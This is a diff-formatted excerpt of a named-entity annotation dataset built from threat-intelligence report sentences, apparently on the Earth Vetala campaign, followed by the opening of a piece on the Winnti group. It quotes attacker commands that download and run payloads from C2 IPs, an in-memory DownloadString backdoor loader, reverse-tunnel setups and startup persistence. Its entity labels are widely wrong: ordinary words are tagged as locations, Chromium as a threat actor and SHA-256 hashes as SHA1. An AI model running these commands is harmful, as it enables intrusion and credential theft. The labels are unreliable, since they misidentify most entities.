-{"id":6437,"text":"Our research found threat indicators that were connected to the same campaign identified by Anomali.","entities":[{"id":20038,"label":"location","start_offset":64,"end_offset":68},{"id":20039,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":6438,"text":"Analysis indicates that Earth Vetala is still ongoing as of the publishing of this post.","entities":[{"id":20042,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":6439,"text":"During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.","entities":[{"id":20043,"label":"location","start_offset":12,"end_offset":20},{"id":20044,"label":"location","start_offset":41,"end_offset":45},{"id":20045,"label":"location","start_offset":84,"end_offset":90},{"id":20046,"label":"attack-pattern","start_offset":126,"end_offset":132},{"id":20047,"label":"location","start_offset":140,"end_offset":143},{"id":20048,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
 {"id":6440,"text":"Technical Analysis","entities":[],"relations":[],"Comments":[]}
-{"id":6441,"text":"During our research, we observed a spearphishing email allegedly from a government agency.","entities":[{"id":20049,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6442,"text":"     Figure 1. Phishing Email with the embedded URL      The email attempts to convince recipients to click the URL and download a malicious file.","entities":[{"id":20051,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20052,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":6443,"text":"We have seen that one of two files may be downloaded, one being a .PDF file and the other an .RTF file.","entities":[{"id":20055,"label":"location","start_offset":35,"end_offset":38},{"id":20057,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6444,"text":"As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file.","entities":[{"id":20058,"label":"location","start_offset":37,"end_offset":41},{"id":20059,"label":"location","start_offset":53,"end_offset":60},{"id":20060,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":6445,"text":"The .ZIP file contains a copy of a legitimate remote administration software developed by RemoteUtilities and provides remote administration capabilities, including:  Downloading and uploading files Grabbing screenshots Browsing files and directories Executing and terminating processes  During our research, we were able to discover multiple .ZIP files used to distribute the RemoteUtilities remote administration software in the manner above, with all of these distributing the same RemoteUtilities sample.","entities":[{"id":20061,"label":"location","start_offset":46,"end_offset":52},{"id":20063,"label":"location","start_offset":106,"end_offset":109},{"id":20064,"label":"location","start_offset":119,"end_offset":125},{"id":20065,"label":"location","start_offset":179,"end_offset":182},{"id":20066,"label":"location","start_offset":235,"end_offset":238},{"id":20067,"label":"location","start_offset":261,"end_offset":264},{"id":20069,"label":"location","start_offset":393,"end_offset":399},{"id":20070,"label":"location","start_offset":480,"end_offset":484},{"id":20072,"label":"location","start_offset":501,"end_offset":507}],"relations":[],"Comments":[]}
 {"id":6446,"text":"The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.","entities":[{"id":20073,"label":"location","start_offset":16,"end_offset":20},{"id":20074,"label":"location","start_offset":52,"end_offset":60},{"id":20075,"label":"malware","start_offset":107,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":6447,"text":"Otherwise, the TTPs in use remain broadly similar.","entities":[],"relations":[],"Comments":[]}
 {"id":6448,"text":"RemoteUtilities Analysis","entities":[{"id":20076,"label":"tools","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]}
@@ -6450,46 +5870,32 @@
 {"id":6450,"text":"     Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":6451,"text":"RemoteUtilities Installation     The MSI installer installs a service on the victim machine called Remote Utilities – Host:      Figure 5.","entities":[{"id":20079,"label":"malware","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":6452,"text":"Remote Utilities Service     The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities.","entities":[{"id":20082,"label":"malware","start_offset":0,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":6453,"text":"This connection is related to one of its features called Internet-ID Connection.","entities":[{"id":20085,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":6454,"text":"This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.","entities":[],"relations":[],"Comments":[]}
-{"id":6455,"text":"This allows the threat actor to connect to the Internet-ID server, which then connects to the actual RemoteUtilities host.","entities":[{"id":20087,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":6456,"text":"     Figure 6. id-server connection     ","entities":[],"relations":[],"Comments":[]}
-{"id":6457,"text":"Post-Exploitation Analysis","entities":[{"id":20089,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":6458,"text":"During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software.","entities":[{"id":20090,"label":"location","start_offset":49,"end_offset":53},{"id":20093,"label":"location","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":6459,"text":"They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)","entities":[{"id":20094,"label":"SHA1","start_offset":59,"end_offset":123},{"id":20096,"label":"SHA1","start_offset":181,"end_offset":244}],"relations":[],"Comments":[]}
 {"id":6460,"text":"As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.","entities":[{"id":20099,"label":"location","start_offset":141,"end_offset":144},{"id":20100,"label":"IPV4","start_offset":157,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":6461,"text":"The same domain was mentioned in the previous research.","entities":[{"id":20101,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":6462,"text":"We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands.","entities":[{"id":20102,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":6463,"text":"cmd.exe net user \/domain","entities":[{"id":20104,"label":"malware","start_offset":0,"end_offset":7},{"id":20105,"label":"malware","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":6464,"text":"The command above allows the attacker to get all the users from the domain controller.","entities":[],"relations":[],"Comments":[]}
 {"id":6465,"text":"The next command executed is the following: powershell.exe -exec bypass -w 1 -file a.ps1","entities":[],"relations":[],"Comments":[]}
 {"id":6466,"text":"This is a command to execute a PowerShell script of some kind.","entities":[{"id":20106,"label":"attack-pattern","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":6467,"text":"However, we did not have access to the a.ps1 file.","entities":[],"relations":[],"Comments":[]}
-{"id":6468,"text":"We are not sure what functionality is provided here.","entities":[{"id":20107,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":6469,"text":"The next command issued is the following: powershell.exe iwr -uri http:\/\/87.236.212[.]184\/SharpChisel.exe -outfile c:\\programdata\\SharpChisel.exe -usebasicparsing","entities":[{"id":20108,"label":"URL","start_offset":66,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6470,"text":"The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\\programdata directory.","entities":[{"id":20109,"label":"IPV4","start_offset":28,"end_offset":45},{"id":20110,"label":"location","start_offset":46,"end_offset":49},{"id":20111,"label":"SHA1","start_offset":99,"end_offset":163},{"id":20112,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":6471,"text":"The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.","entities":[{"id":20113,"label":"location","start_offset":21,"end_offset":24},{"id":20114,"label":"location","start_offset":103,"end_offset":107},{"id":20115,"label":"malware","start_offset":115,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":6472,"text":"The above IP address is geolocated to a server in Iran.","entities":[],"relations":[],"Comments":[]}
 {"id":6473,"text":"The following command then configures SharpChisel: C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]}
-{"id":6474,"text":"This directs all traffic to the localhost at port 9999 to the same remote server.","entities":[{"id":20118,"label":"location","start_offset":62,"end_offset":66},{"id":20119,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6475,"text":"Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999","entities":[{"id":20121,"label":"location","start_offset":74,"end_offset":78},{"id":20122,"label":"attack-pattern","start_offset":85,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":6476,"text":"This time, traffic will be forwarded to the server over port 443.","entities":[{"id":20123,"label":"location","start_offset":5,"end_offset":9},{"id":20124,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":6477,"text":"A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999","entities":[{"id":20125,"label":"attack-pattern","start_offset":264,"end_offset":274}],"relations":[],"Comments":[]}
 {"id":6478,"text":"We believe that the threat actor was unable to configure SharpChisel to work correctly.","entities":[],"relations":[],"Comments":[]}
-{"id":6479,"text":"The use of the following command provides additional evidence to support our assumption: powershell.exe iwr -uri hxxp:\/\/87.236.212[.]184\/procdump64.exe -outfile c:\\programdata\\procdump64.exe -usebasicparsing","entities":[{"id":20126,"label":"location","start_offset":77,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":6480,"text":"The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\\programdata directory.","entities":[{"id":20127,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":6481,"text":"That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.","entities":[{"id":20128,"label":"location","start_offset":18,"end_offset":28},{"id":20129,"label":"location","start_offset":81,"end_offset":84},{"id":20130,"label":"attack-pattern","start_offset":111,"end_offset":121},{"id":20131,"label":"location","start_offset":134,"end_offset":137},{"id":20132,"label":"location","start_offset":172,"end_offset":179}],"relations":[],"Comments":[]}
 {"id":6482,"text":"      Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":6483,"text":"LIGOLO execution example","entities":[],"relations":[],"Comments":[]}
 {"id":6484,"text":"    This was done using two separate commands: C:\\programdate\\1.exe -relayserver 87.236.212[.]184:5555  C:\\users\\public\\new.exe -relayserver 87.236.212[.]184:5555","entities":[],"relations":[],"Comments":[]}
 {"id":6485,"text":"We then see the threat actor again attempting to use SharpChisel several times using the following command: C:\\programdata\\SharpChisel.exe  client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999  powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]}
 {"id":6486,"text":"We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.","entities":[],"relations":[],"Comments":[]}
-{"id":6487,"text":"Following the unsuccessful attempt to configure a tunnel connection to their C&C server, the threat actors downloaded a remote access tool (RAT) and attempted to configure it.","entities":[{"id":20133,"label":"location","start_offset":50,"end_offset":56},{"id":20134,"label":"location","start_offset":120,"end_offset":126},{"id":20135,"label":"location","start_offset":134,"end_offset":138},{"id":20136,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]}
 {"id":6488,"text":"The following PowerShell command was used for this: powershell.exe iwr -uri hxxp:\/\/87.236.212[.]184\/out1 -outfile c:\\users\\public\\out1.exe -usebasicparsing","entities":[{"id":20137,"label":"attack-pattern","start_offset":14,"end_offset":24},{"id":20138,"label":"tools","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":6489,"text":"The command downloads out1.exe and saves the file in the C:\\users\\public\\ directory.","entities":[{"id":20139,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":6490,"text":"Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.","entities":[],"relations":[],"Comments":[]}
 {"id":6491,"text":"We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.","entities":[],"relations":[],"Comments":[]}
-{"id":6492,"text":"These are then decompiled to get the original python code using easypythondecompiler.","entities":[{"id":20141,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":6493,"text":"The out1.exe RAT has the following capabilities:  Data encoding Email parsing File and registry copy HTTP\/S connection support Native command line Process and file execution  ","entities":[{"id":20142,"label":"attack-pattern","start_offset":50,"end_offset":63},{"id":20143,"label":"location","start_offset":83,"end_offset":86},{"id":20144,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":6494,"text":"After this, the file C:\\users\\public\\Browser64.exe is run.","entities":[],"relations":[],"Comments":[]}
 {"id":6495,"text":"Browser64 is a tool that extracts credentials from the following applications:  Chrome Chromium Firefox Opera Internet Explorer Outlook       Figure 8.","entities":[{"id":20146,"label":"location","start_offset":15,"end_offset":19},{"id":20147,"label":"threat-actor","start_offset":87,"end_offset":95},{"id":20148,"label":"location","start_offset":104,"end_offset":109},{"id":20149,"label":"location","start_offset":128,"end_offset":135}],"relations":[],"Comments":[]}
@@ -6497,13 +5903,10 @@
 {"id":6497,"text":"iex(new","entities":[],"relations":[],"Comments":[]}
 {"id":6498,"text":"object","entities":[],"relations":[],"Comments":[]}
 {"id":6499,"text":"System.Net.WebClient).DownloadString('hxxp:\/\/23.94.50[.]197:444\/index.jsp\/deb2b1a127c472229babbb8dc2dca1c2\/QPKb49mivezAdai1","entities":[{"id":20151,"label":"malware","start_offset":7,"end_offset":10},{"id":20152,"label":"MD5","start_offset":74,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":6500,"text":"They again attempted to use SharpChisel with no success: powershell.exe C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\\programdata\\SharpChisel.exe server -p 9999 --socks5","entities":[{"id":20153,"label":"location","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":6501,"text":"Finally, we observed a persistence mechanism being set using the following commands: cmd.exe \/c Wscript.exe \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\news.js\"  cmd.exe \/c \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\newsblog.js\"","entities":[{"id":20154,"label":"tools","start_offset":85,"end_offset":92},{"id":20155,"label":"malware","start_offset":201,"end_offset":208}],"relations":[],"Comments":[]}
 {"id":6502,"text":" We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: hxxp:\/\/23[.]95[.]215[.]100:8008\/index.jsp\/7e95a3d753cc4a17793ef9513e030b49\/4t2Fg7k6wWRnKgd9      Figure 9.","entities":[{"id":20156,"label":"MD5","start_offset":151,"end_offset":210}],"relations":[],"Comments":[]}
 {"id":6503,"text":"newsblog.js","entities":[],"relations":[],"Comments":[]}
-{"id":6504,"text":"    The script sets up a new HTTP object and then tries to disable the system's local proxy settings.","entities":[{"id":20157,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":6505,"text":"The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.","entities":[{"id":20158,"label":"location","start_offset":61,"end_offset":66},{"id":20159,"label":"location","start_offset":90,"end_offset":93},{"id":20160,"label":"TIME","start_offset":105,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6506,"text":"At the time of our analysis, this server was still available.","entities":[{"id":20161,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":6507,"text":"The response from the server contains an encoded PowerShell script, which is executed in memory.","entities":[{"id":20162,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":6508,"text":"Decoding this script reveals that it contains a backdoor:","entities":[],"relations":[],"Comments":[]}
 {"id":6509,"text":"     Figure 10. deobfuscated PowerShell backdoor     The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor.","entities":[{"id":20163,"label":"attack-pattern","start_offset":29,"end_offset":39},{"id":20164,"label":"location","start_offset":95,"end_offset":99},{"id":20165,"label":"attack-pattern","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]}
@@ -6511,11 +5914,7 @@
 {"id":6511,"text":" Check for Skype connectivity Download and install Skype Encoded communication with its C2 Execute commands sent from the C2 server Get multifactor authentication settings Get the currently logged on user and OS version  Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries.","entities":[{"id":20167,"label":"location","start_offset":1,"end_offset":6},{"id":20168,"label":"location","start_offset":39,"end_offset":42},{"id":20171,"label":"location","start_offset":205,"end_offset":208},{"id":20172,"label":"threat-actor","start_offset":221,"end_offset":233},{"id":20173,"label":"threat-actor","start_offset":244,"end_offset":256},{"id":20174,"label":"location","start_offset":290,"end_offset":298}],"relations":[],"Comments":[]}
 {"id":6512,"text":"We observed it operating in the following countries:  Azerbaijan Bahrain Israel Saudi Arabia United Arab Emirates       Figure 11.","entities":[],"relations":[],"Comments":[]}
 {"id":6513,"text":"Affected countries     We observed Earth Vetala target the following sectors:  Government Agencies Academia Tourism  Trend Micro Solutions Earth Vetala represents an interesting threat.","entities":[{"id":20181,"label":"threat-actor","start_offset":35,"end_offset":47},{"id":20182,"label":"location","start_offset":48,"end_offset":54},{"id":20183,"label":"location","start_offset":99,"end_offset":107},{"id":20184,"label":"location","start_offset":123,"end_offset":128},{"id":20185,"label":"threat-actor","start_offset":139,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":6514,"text":"While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly.","entities":[{"id":20186,"label":"location","start_offset":19,"end_offset":25},{"id":20187,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6515,"text":"This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.","entities":[{"id":20188,"label":"threat-actor","start_offset":68,"end_offset":78},{"id":20189,"label":"location","start_offset":95,"end_offset":98},{"id":20190,"label":"location","start_offset":161,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":6516,"text":"Our findings in this area were made possible by our Dedicated Intelligence Research (DIR) analysts.","entities":[{"id":20191,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":6517,"text":"They are on-hand to help organizations reach important decisions and understand the nature of the security challenges they face.","entities":[{"id":20192,"label":"location","start_offset":5,"end_offset":8},{"id":20193,"label":"location","start_offset":12,"end_offset":16},{"id":20194,"label":"location","start_offset":65,"end_offset":68},{"id":20195,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":6518,"text":"For more information on the Dedicated Intelligence Research service, please contact your regional Sales team to learn more.","entities":[{"id":20196,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":6519,"text":"  MITRE ATT&CK Techniques Mapping  Tactic  Technique  Resource Development  Acquire Infrastructure: Web Services – T1583.006  Initial Access  Phishing: Spearphishing Attachment – T1566.001 Phishing: Spearphishing Link – T1566.002  Execution  Command and Scripting Interpreter: PowerShell – T1059.001","entities":[{"id":20197,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":20198,"label":"attack-pattern","start_offset":152,"end_offset":176},{"id":20199,"label":"attack-pattern","start_offset":189,"end_offset":197},{"id":20200,"label":"attack-pattern","start_offset":199,"end_offset":217},{"id":20201,"label":"location","start_offset":250,"end_offset":253},{"id":20202,"label":"attack-pattern","start_offset":254,"end_offset":263},{"id":20203,"label":"attack-pattern","start_offset":277,"end_offset":287}],"relations":[],"Comments":[]}
 {"id":6520,"text":"Command and Scripting Interpreter: Windows Command Shell – T1059.003","entities":[{"id":20204,"label":"location","start_offset":8,"end_offset":11},{"id":20205,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20206,"label":"location","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":6521,"text":"Command and Scripting Interpreter: Visual Basic – T1059.005 User Execution: Malicious Link – T1204.001 User Execution: Malicious File – T1204.002 Persistence, Privilege Escalation  Boot or Logon Autostart Execution: Registry Run Keys \/ Startup Folder - T1547.001  Discovery  Account Discovery: Domain Account - T1087.002  Credential Access  Credentials from Password Stores: Credentials from Web Browsers – T1555.003  Command and Control  Data Encoding: Standard Encoding – T1132.001  Defense Evasion  Deobfuscate\/Decode Files or Information - T1140   Indicators of Compromise Files  File name SHA-256 Trend Micro Detection Name Description SharpChisel.exe 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 HackTool.MSIL.Chisel.A SharpChisel tunneling tool PD64.dll ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 Trojan.Win64.PASSDUMP.A File used by HackTool.Win64.PassDump.AC PasswordDumper.exe 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 HackTool.Win64.PassDump.AC","entities":[{"id":20207,"label":"location","start_offset":8,"end_offset":11},{"id":20208,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20209,"label":"attack-pattern","start_offset":60,"end_offset":74},{"id":20210,"label":"attack-pattern","start_offset":103,"end_offset":117},{"id":20211,"label":"attack-pattern","start_offset":159,"end_offset":179},{"id":20212,"label":"location","start_offset":236,"end_offset":243},{"id":20213,"label":"attack-pattern","start_offset":275,"end_offset":292},{"id":20214,"label":"location","start_offset":426,"end_offset":429},{"id":20215,"label":"attack-pattern","start_offset":439,"end_offset":452},{"id":20216,"label":"location","start_offset":454,"end_offset":462},{"id":20217,"label":"location","start_offset":608,"end_offset":613},{"id":20218,"label":"SHA1","start_offset":657,"end_offset":721},{"id":20219,"label":"location","start_offset":767,"end_offset":771},{"id":20220,"label":"SHA2","start_offset":781,"end_offset":845},{"id":20221,"label":"SHA2","start_offset":929,"end_offset":993}],"relations":[],"Comments":[]}
@@ -6531,102 +5930,41 @@
 {"id":6531,"text":"ورش مجانية.zip 5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities مکتالمنحالدراسیة.zip b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf PUA.Win32.ScreenConnect.P Archive containing ScreenConnect المنح الدرایةس.exe 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b PUA.Win32.ScreenConnect.P ScreenConnect remote access software  Network  23.94.50.197:444 23.95.215.100:443 23.95.215.100:8080 87.236.212.184:443 87.236.212.184:8008      Tags  APT & Targeted Attacks | Articles, News, Reports |","entities":[{"id":20244,"label":"SHA1","start_offset":15,"end_offset":79},{"id":20245,"label":"malware","start_offset":127,"end_offset":142},{"id":20246,"label":"SHA2","start_offset":164,"end_offset":228},{"id":20247,"label":"malware","start_offset":274,"end_offset":287},{"id":20248,"label":"SHA2","start_offset":307,"end_offset":371},{"id":20249,"label":"malware","start_offset":398,"end_offset":411},{"id":20250,"label":"location","start_offset":412,"end_offset":418},{"id":20251,"label":"location","start_offset":549,"end_offset":552}],"relations":[],"Comments":[]}
 {"id":6532,"text":"Research","entities":[],"relations":[],"Comments":[]}
 {"id":6533,"text":"Updated on April 26, 2017, 01:39 PM (UTC-7) to add the accurate IP address.","entities":[{"id":20253,"label":"TIME","start_offset":27,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":6534,"text":"In one of our previous blog entries, we covered how the threat actor known as Winnti was using GitHub to spread malware – a development that shows how the group is starting to evolve and use new attack methods beyond their previous tactics involving targeted attacks against gaming, pharmaceutical, and telecommunications companies.","entities":[{"id":20257,"label":"location","start_offset":183,"end_offset":186},{"id":20258,"label":"location","start_offset":275,"end_offset":281},{"id":20259,"label":"location","start_offset":299,"end_offset":302}],"relations":[],"Comments":[]}
-{"id":6535,"text":"Through this entry, in which we take a closer look at an individual who we believe might be connected to the Winnti group, we hope to give both ordinary users and organizations better insights into some of the tools – notably the server infrastructures- these kinds of threat actors use, as well as the scale in which they operate.","entities":[{"id":20261,"label":"location","start_offset":126,"end_offset":130},{"id":20262,"label":"location","start_offset":134,"end_offset":138},{"id":20263,"label":"location","start_offset":144,"end_offset":152},{"id":20264,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":6536,"text":"Searching Domain Registrations for Clues Threat actors typically register and use several domains in order to discretely lead their malware to their Command and Control (C&C) servers.","entities":[{"id":20265,"label":"location","start_offset":65,"end_offset":73},{"id":20266,"label":"location","start_offset":74,"end_offset":77},{"id":20267,"label":"location","start_offset":121,"end_offset":125},{"id":20268,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":6537,"text":"Registering a domain name always requires some form of identifying information: a physical or mailing address, an email address, and a phone number.","entities":[{"id":20269,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":6538,"text":"Of these, a valid email address holds the greatest importance because it is where the registrar sends the confirmation of a domain purchase to the new owner in addition to the information needed to control the domain.","entities":[{"id":20270,"label":"location","start_offset":131,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":6539,"text":"Most fraudsters create one-time email addresses or use stolen email addresses, both of which are easy to create or obtain.","entities":[{"id":20271,"label":"location","start_offset":0,"end_offset":4},{"id":20273,"label":"location","start_offset":27,"end_offset":31},{"id":20274,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":6540,"text":"However, over time, it becomes tedious for fraudsters to constantly change information when registering new domains.","entities":[{"id":20275,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":6541,"text":"This is the point where they are likely to make mistakes and start reusing e-mail addresses.","entities":[{"id":20276,"label":"location","start_offset":12,"end_offset":17},{"id":20277,"label":"location","start_offset":29,"end_offset":32},{"id":20278,"label":"location","start_offset":33,"end_offset":39},{"id":20279,"label":"location","start_offset":57,"end_offset":60},{"id":20280,"label":"location","start_offset":61,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":6542,"text":"A careful analysis of the domain registrations from this threat actor between 2014 and 2015 allowed us to identify one profile used to register several domains that were used as C&C servers for a particular malware family employed by the Winnti group.","entities":[{"id":20283,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":6543,"text":"In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.","entities":[],"relations":[],"Comments":[]}
 {"id":6544,"text":"Who is the Winnti group?","entities":[],"relations":[],"Comments":[]}
-{"id":6545,"text":"The group behind the Winnti malware (which we will call the Winnti group for brevity) sprung up as a band of traditional cyber crooks, comprising black hats whose technical skills were employed to perpetrate financial fraud.","entities":[{"id":20289,"label":"location","start_offset":46,"end_offset":50},{"id":20290,"label":"location","start_offset":51,"end_offset":55},{"id":20292,"label":"location","start_offset":127,"end_offset":133},{"id":20293,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":6546,"text":"Based on the use of domain names they registered, the group started out in the business of fake\/rogue anti-virus products in 2007.","entities":[{"id":20294,"label":"malware","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6547,"text":"In 2009, the Winnti group shifted to targeting gaming companies in South Korea using a self-named data- and file-stealing malware.","entities":[{"id":20298,"label":"location","start_offset":47,"end_offset":53},{"id":20300,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":6548,"text":"The group, which was primarily motivated by profit, is noted for utilizing self-developed technically-proficient tools for their attacks.","entities":[],"relations":[],"Comments":[]}
 {"id":6549,"text":"They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects.","entities":[{"id":20301,"label":"location","start_offset":70,"end_offset":76},{"id":20302,"label":"location","start_offset":77,"end_offset":81},{"id":20303,"label":"location","start_offset":99,"end_offset":103},{"id":20304,"label":"location","start_offset":104,"end_offset":109},{"id":20305,"label":"location","start_offset":117,"end_offset":120},{"id":20306,"label":"attack-pattern","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":6550,"text":"The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier.","entities":[{"id":20307,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6551,"text":"The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications.","entities":[{"id":20309,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":6552,"text":"The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.","entities":[{"id":20310,"label":"location","start_offset":129,"end_offset":134},{"id":20311,"label":"attack-pattern","start_offset":135,"end_offset":143},{"id":20312,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
